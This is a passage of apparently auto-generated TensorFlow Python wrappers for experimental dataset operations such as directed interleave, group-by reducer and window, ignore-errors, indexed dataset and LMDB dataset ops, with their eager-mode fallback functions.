_op_def_lib._apply_op_helper( "ExperimentalDirectedInterleaveDataset", selector_input_dataset=selector_input_dataset, data_input_datasets=data_input_datasets, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes"), "N", _op.get_attr("N")) _execute.record_gradient( "ExperimentalDirectedInterleaveDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalDirectedInterleaveDataset(selector_input_dataset, data_input_datasets, output_types, output_shapes, name=None): return experimental_directed_interleave_dataset(selector_input_dataset=selector_input_dataset, data_input_datasets=data_input_datasets, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalDirectedInterleaveDataset.__doc__ = experimental_directed_interleave_dataset.__doc__ ExperimentalDirectedInterleaveDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalDirectedInterleaveDataset)) tf_export("raw_ops.ExperimentalDirectedInterleaveDataset")(ExperimentalDirectedInterleaveDataset) def experimental_directed_interleave_dataset_eager_fallback(selector_input_dataset, data_input_datasets, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_directed_interleave_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(data_input_datasets, (list, tuple)): raise TypeError( "Expected list for 'data_input_datasets' argument to " "'experimental_directed_interleave_dataset' Op, not %r." % data_input_datasets) _attr_N = len(data_input_datasets) if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_directed_interleave_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_directed_interleave_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] selector_input_dataset = _ops.convert_to_tensor(selector_input_dataset, _dtypes.variant) data_input_datasets = _ops.convert_n_to_tensor(data_input_datasets, _dtypes.variant) _inputs_flat = [selector_input_dataset] + list(data_input_datasets) _attrs = ("output_types", output_types, "output_shapes", output_shapes, "N", _attr_N) _result = _execute.execute(b"ExperimentalDirectedInterleaveDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalDirectedInterleaveDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_group_by_reducer_dataset(input_dataset, key_func_other_arguments, init_func_other_arguments, reduce_func_other_arguments, finalize_func_other_arguments, key_func, init_func, reduce_func, finalize_func, output_types, output_shapes, name=None): r"""Creates a dataset that computes a group-by on `input_dataset`. Creates a dataset that computes a group-by on `input_dataset`. Args: input_dataset: A `Tensor` of type `variant`. A variant tensor representing the input dataset. key_func_other_arguments: A list of `Tensor` objects. A list of tensors, typically values that were captured when building a closure for `key_func`. init_func_other_arguments: A list of `Tensor` objects. A list of tensors, typically values that were captured when building a closure for `init_func`. reduce_func_other_arguments: A list of `Tensor` objects. A list of tensors, typically values that were captured when building a closure for `reduce_func`. finalize_func_other_arguments: A list of `Tensor` objects. A list of tensors, typically values that were captured when building a closure for `finalize_func`. key_func: A function decorated with @Defun. A function mapping an element of `input_dataset`, concatenated with `key_func_other_arguments` to a scalar value of type DT_INT64. init_func: A function decorated with @Defun. A function mapping a key of type DT_INT64, concatenated with `init_func_other_arguments` to the initial reducer state. reduce_func: A function decorated with @Defun. A function mapping the current reducer state and an element of `input_dataset`, concatenated with `reduce_func_other_arguments` to a new reducer state. finalize_func: A function decorated with @Defun. A function mapping the final reducer state to an output element. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalGroupByReducerDataset", name, _ctx._post_execution_callbacks, input_dataset, key_func_other_arguments, init_func_other_arguments, reduce_func_other_arguments, finalize_func_other_arguments, "key_func", key_func, "init_func", init_func, "reduce_func", reduce_func, "finalize_func", finalize_func, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_group_by_reducer_dataset_eager_fallback( input_dataset, key_func_other_arguments, init_func_other_arguments, reduce_func_other_arguments, finalize_func_other_arguments, key_func=key_func, init_func=init_func, reduce_func=reduce_func, finalize_func=finalize_func, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_group_by_reducer_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_group_by_reducer_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalGroupByReducerDataset", input_dataset=input_dataset, key_func_other_arguments=key_func_other_arguments, init_func_other_arguments=init_func_other_arguments, reduce_func_other_arguments=reduce_func_other_arguments, finalize_func_other_arguments=finalize_func_other_arguments, key_func=key_func, init_func=init_func, reduce_func=reduce_func, finalize_func=finalize_func, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("key_func", _op.get_attr("key_func"), "init_func", _op.get_attr("init_func"), "reduce_func", _op.get_attr("reduce_func"), "finalize_func", _op.get_attr("finalize_func"), "Tkey_func_other_arguments", _op.get_attr("Tkey_func_other_arguments"), "Tinit_func_other_arguments", _op.get_attr("Tinit_func_other_arguments"), "Treduce_func_other_arguments", _op.get_attr("Treduce_func_other_arguments"), "Tfinalize_func_other_arguments", _op.get_attr("Tfinalize_func_other_arguments"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalGroupByReducerDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalGroupByReducerDataset(input_dataset, key_func_other_arguments, init_func_other_arguments, reduce_func_other_arguments, finalize_func_other_arguments, key_func, init_func, reduce_func, finalize_func, output_types, output_shapes, name=None): return experimental_group_by_reducer_dataset(input_dataset=input_dataset, key_func_other_arguments=key_func_other_arguments, init_func_other_arguments=init_func_other_arguments, reduce_func_other_arguments=reduce_func_other_arguments, finalize_func_other_arguments=finalize_func_other_arguments, key_func=key_func, init_func=init_func, reduce_func=reduce_func, finalize_func=finalize_func, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalGroupByReducerDataset.__doc__ = experimental_group_by_reducer_dataset.__doc__ ExperimentalGroupByReducerDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalGroupByReducerDataset)) tf_export("raw_ops.ExperimentalGroupByReducerDataset")(ExperimentalGroupByReducerDataset) def experimental_group_by_reducer_dataset_eager_fallback(input_dataset, key_func_other_arguments, init_func_other_arguments, reduce_func_other_arguments, finalize_func_other_arguments, key_func, init_func, reduce_func, finalize_func, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_group_by_reducer_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_group_by_reducer_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_group_by_reducer_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _attr_Tkey_func_other_arguments, key_func_other_arguments = _execute.convert_to_mixed_eager_tensors(key_func_other_arguments, _ctx) _attr_Tinit_func_other_arguments, init_func_other_arguments = _execute.convert_to_mixed_eager_tensors(init_func_other_arguments, _ctx) _attr_Treduce_func_other_arguments, reduce_func_other_arguments = _execute.convert_to_mixed_eager_tensors(reduce_func_other_arguments, _ctx) _attr_Tfinalize_func_other_arguments, finalize_func_other_arguments = _execute.convert_to_mixed_eager_tensors(finalize_func_other_arguments, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] + list(key_func_other_arguments) + list(init_func_other_arguments) + list(reduce_func_other_arguments) + list(finalize_func_other_arguments) _attrs = ("key_func", key_func, "init_func", init_func, "reduce_func", reduce_func, "finalize_func", finalize_func, "Tkey_func_other_arguments", _attr_Tkey_func_other_arguments, "Tinit_func_other_arguments", _attr_Tinit_func_other_arguments, "Treduce_func_other_arguments", _attr_Treduce_func_other_arguments, "Tfinalize_func_other_arguments", _attr_Tfinalize_func_other_arguments, "output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalGroupByReducerDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalGroupByReducerDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_group_by_window_dataset(input_dataset, key_func_other_arguments, reduce_func_other_arguments, window_size_func_other_arguments, key_func, reduce_func, window_size_func, output_types, output_shapes, name=None): r"""Creates a dataset that computes a windowed group-by on `input_dataset`. // TODO(mrry): Support non-int64 keys. Args: input_dataset: A `Tensor` of type `variant`. key_func_other_arguments: A list of `Tensor` objects. reduce_func_other_arguments: A list of `Tensor` objects. window_size_func_other_arguments: A list of `Tensor` objects. key_func: A function decorated with @Defun. A function mapping an element of `input_dataset`, concatenated with `key_func_other_arguments` to a scalar value of type DT_INT64. reduce_func: A function decorated with @Defun. window_size_func: A function decorated with @Defun. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalGroupByWindowDataset", name, _ctx._post_execution_callbacks, input_dataset, key_func_other_arguments, reduce_func_other_arguments, window_size_func_other_arguments, "key_func", key_func, "reduce_func", reduce_func, "window_size_func", window_size_func, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_group_by_window_dataset_eager_fallback( input_dataset, key_func_other_arguments, reduce_func_other_arguments, window_size_func_other_arguments, key_func=key_func, reduce_func=reduce_func, window_size_func=window_size_func, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_group_by_window_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_group_by_window_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalGroupByWindowDataset", input_dataset=input_dataset, key_func_other_arguments=key_func_other_arguments, reduce_func_other_arguments=reduce_func_other_arguments, window_size_func_other_arguments=window_size_func_other_arguments, key_func=key_func, reduce_func=reduce_func, window_size_func=window_size_func, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("key_func", _op.get_attr("key_func"), "reduce_func", _op.get_attr("reduce_func"), "window_size_func", _op.get_attr("window_size_func"), "Tkey_func_other_arguments", _op.get_attr("Tkey_func_other_arguments"), "Treduce_func_other_arguments", _op.get_attr("Treduce_func_other_arguments"), "Twindow_size_func_other_arguments", _op.get_attr("Twindow_size_func_other_arguments"), "output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalGroupByWindowDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalGroupByWindowDataset(input_dataset, key_func_other_arguments, reduce_func_other_arguments, window_size_func_other_arguments, key_func, reduce_func, window_size_func, output_types, output_shapes, name=None): return experimental_group_by_window_dataset(input_dataset=input_dataset, key_func_other_arguments=key_func_other_arguments, reduce_func_other_arguments=reduce_func_other_arguments, window_size_func_other_arguments=window_size_func_other_arguments, key_func=key_func, reduce_func=reduce_func, window_size_func=window_size_func, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalGroupByWindowDataset.__doc__ = experimental_group_by_window_dataset.__doc__ ExperimentalGroupByWindowDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalGroupByWindowDataset)) tf_export("raw_ops.ExperimentalGroupByWindowDataset")(ExperimentalGroupByWindowDataset) def experimental_group_by_window_dataset_eager_fallback(input_dataset, key_func_other_arguments, reduce_func_other_arguments, window_size_func_other_arguments, key_func, reduce_func, window_size_func, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_group_by_window_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_group_by_window_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_group_by_window_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _attr_Tkey_func_other_arguments, key_func_other_arguments = _execute.convert_to_mixed_eager_tensors(key_func_other_arguments, _ctx) _attr_Treduce_func_other_arguments, reduce_func_other_arguments = _execute.convert_to_mixed_eager_tensors(reduce_func_other_arguments, _ctx) _attr_Twindow_size_func_other_arguments, window_size_func_other_arguments = _execute.convert_to_mixed_eager_tensors(window_size_func_other_arguments, _ctx) input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] + list(key_func_other_arguments) + list(reduce_func_other_arguments) + list(window_size_func_other_arguments) _attrs = ("key_func", key_func, "reduce_func", reduce_func, "window_size_func", window_size_func, "Tkey_func_other_arguments", _attr_Tkey_func_other_arguments, "Treduce_func_other_arguments", _attr_Treduce_func_other_arguments, "Twindow_size_func_other_arguments", _attr_Twindow_size_func_other_arguments, "output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalGroupByWindowDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalGroupByWindowDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_identity_indexed_dataset(size, name=None): r"""TODO: add doc. Args: size: A `Tensor` of type `uint64`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalIdentityIndexedDataset", name, _ctx._post_execution_callbacks, size) return _result except _core._FallbackException: try: return experimental_identity_indexed_dataset_eager_fallback( size, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalIdentityIndexedDataset", size=size, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = None _execute.record_gradient( "ExperimentalIdentityIndexedDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalIdentityIndexedDataset(size, name=None): return experimental_identity_indexed_dataset(size=size, name=name) ExperimentalIdentityIndexedDataset.__doc__ = experimental_identity_indexed_dataset.__doc__ ExperimentalIdentityIndexedDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalIdentityIndexedDataset)) tf_export("raw_ops.ExperimentalIdentityIndexedDataset")(ExperimentalIdentityIndexedDataset) def experimental_identity_indexed_dataset_eager_fallback(size, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_identity_indexed_dataset """ _ctx = ctx if ctx else _context.context() size = _ops.convert_to_tensor(size, _dtypes.uint64) _inputs_flat = [size] _attrs = None _result = _execute.execute(b"ExperimentalIdentityIndexedDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalIdentityIndexedDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_ignore_errors_dataset(input_dataset, output_types, output_shapes, name=None): r"""Creates a dataset that contains the elements of `input_dataset` ignoring errors. Args: input_dataset: A `Tensor` of type `variant`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalIgnoreErrorsDataset", name, _ctx._post_execution_callbacks, input_dataset, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_ignore_errors_dataset_eager_fallback( input_dataset, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_ignore_errors_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_ignore_errors_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalIgnoreErrorsDataset", input_dataset=input_dataset, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalIgnoreErrorsDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalIgnoreErrorsDataset(input_dataset, output_types, output_shapes, name=None): return experimental_ignore_errors_dataset(input_dataset=input_dataset, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalIgnoreErrorsDataset.__doc__ = experimental_ignore_errors_dataset.__doc__ ExperimentalIgnoreErrorsDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalIgnoreErrorsDataset)) tf_export("raw_ops.ExperimentalIgnoreErrorsDataset")(ExperimentalIgnoreErrorsDataset) def experimental_ignore_errors_dataset_eager_fallback(input_dataset, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_ignore_errors_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_ignore_errors_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_ignore_errors_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalIgnoreErrorsDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalIgnoreErrorsDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_indexed_dataset_get(materialized, index, output_types, output_shapes, name=None): r"""TODO: add doc. Args: materialized: A `Tensor` of type `resource`. index: A `Tensor` of type `uint64`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A list of `Tensor` objects of type `output_types`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalIndexedDatasetGet", name, _ctx._post_execution_callbacks, materialized, index, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_indexed_dataset_get_eager_fallback( materialized, index, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_indexed_dataset_get' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_indexed_dataset_get' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalIndexedDatasetGet", materialized=materialized, index=index, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] if not _result: return _op _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalIndexedDatasetGet", _inputs_flat, _attrs, _result, name) return _result def ExperimentalIndexedDatasetGet(materialized, index, output_types, output_shapes, name=None): return experimental_indexed_dataset_get(materialized=materialized, index=index, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalIndexedDatasetGet.__doc__ = experimental_indexed_dataset_get.__doc__ ExperimentalIndexedDatasetGet = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalIndexedDatasetGet)) tf_export("raw_ops.ExperimentalIndexedDatasetGet")(ExperimentalIndexedDatasetGet) def experimental_indexed_dataset_get_eager_fallback(materialized, index, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_indexed_dataset_get """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_indexed_dataset_get' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_indexed_dataset_get' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] materialized = _ops.convert_to_tensor(materialized, _dtypes.resource) index = _ops.convert_to_tensor(index, _dtypes.uint64) _inputs_flat = [materialized, index] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalIndexedDatasetGet", len(output_types), inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalIndexedDatasetGet", _inputs_flat, _attrs, _result, name) return _result def experimental_indexed_dataset_materialize(dataset, materialized, name=None): r"""TODO: add doc. Args: dataset: A `Tensor` of type `variant`. materialized: A `Tensor` of type `resource`. name: A name for the operation (optional). Returns: The created Operation. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalIndexedDatasetMaterialize", name, _ctx._post_execution_callbacks, dataset, materialized) return _result except _core._FallbackException: try: return experimental_indexed_dataset_materialize_eager_fallback( dataset, materialized, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalIndexedDatasetMaterialize", dataset=dataset, materialized=materialized, name=name) return _op _result = None return _result def ExperimentalIndexedDatasetMaterialize(dataset, materialized, name=None): return experimental_indexed_dataset_materialize(dataset=dataset, materialized=materialized, name=name) ExperimentalIndexedDatasetMaterialize.__doc__ = experimental_indexed_dataset_materialize.__doc__ ExperimentalIndexedDatasetMaterialize = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalIndexedDatasetMaterialize)) tf_export("raw_ops.ExperimentalIndexedDatasetMaterialize")(ExperimentalIndexedDatasetMaterialize) def experimental_indexed_dataset_materialize_eager_fallback(dataset, materialized, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_indexed_dataset_materialize """ _ctx = ctx if ctx else _context.context() dataset = _ops.convert_to_tensor(dataset, _dtypes.variant) materialized = _ops.convert_to_tensor(materialized, _dtypes.resource) _inputs_flat = [dataset, materialized] _attrs = None _result = _execute.execute(b"ExperimentalIndexedDatasetMaterialize", 0, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _result = None return _result def experimental_iterator_get_device(resource, name=None): r"""Returns the name of the device on which `resource` has been placed. Args: resource: A `Tensor` of type `resource`. name: A name for the operation (optional). Returns: A `Tensor` of type `string`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalIteratorGetDevice", name, _ctx._post_execution_callbacks, resource) return _result except _core._FallbackException: try: return experimental_iterator_get_device_eager_fallback( resource, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalIteratorGetDevice", resource=resource, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = None _execute.record_gradient( "ExperimentalIteratorGetDevice", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalIteratorGetDevice(resource, name=None): return experimental_iterator_get_device(resource=resource, name=name) ExperimentalIteratorGetDevice.__doc__ = experimental_iterator_get_device.__doc__ ExperimentalIteratorGetDevice = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalIteratorGetDevice)) tf_export("raw_ops.ExperimentalIteratorGetDevice")(ExperimentalIteratorGetDevice) def experimental_iterator_get_device_eager_fallback(resource, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_iterator_get_device """ _ctx = ctx if ctx else _context.context() resource = _ops.convert_to_tensor(resource, _dtypes.resource) _inputs_flat = [resource] _attrs = None _result = _execute.execute(b"ExperimentalIteratorGetDevice", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalIteratorGetDevice", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_lmdb_dataset(filenames, output_types, output_shapes, name=None): r"""TODO: add doc. Args: filenames: A `Tensor` of type `string`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalLMDBDataset", name, _ctx._post_execution_callbacks, filenames, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_lmdb_dataset_eager_fallback( filenames, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_lmdb_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_lmdb_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalLMDBDataset", filenames=filenames, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalLMDBDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalLMDBDataset(filenames, output_types, output_shapes, name=None): return 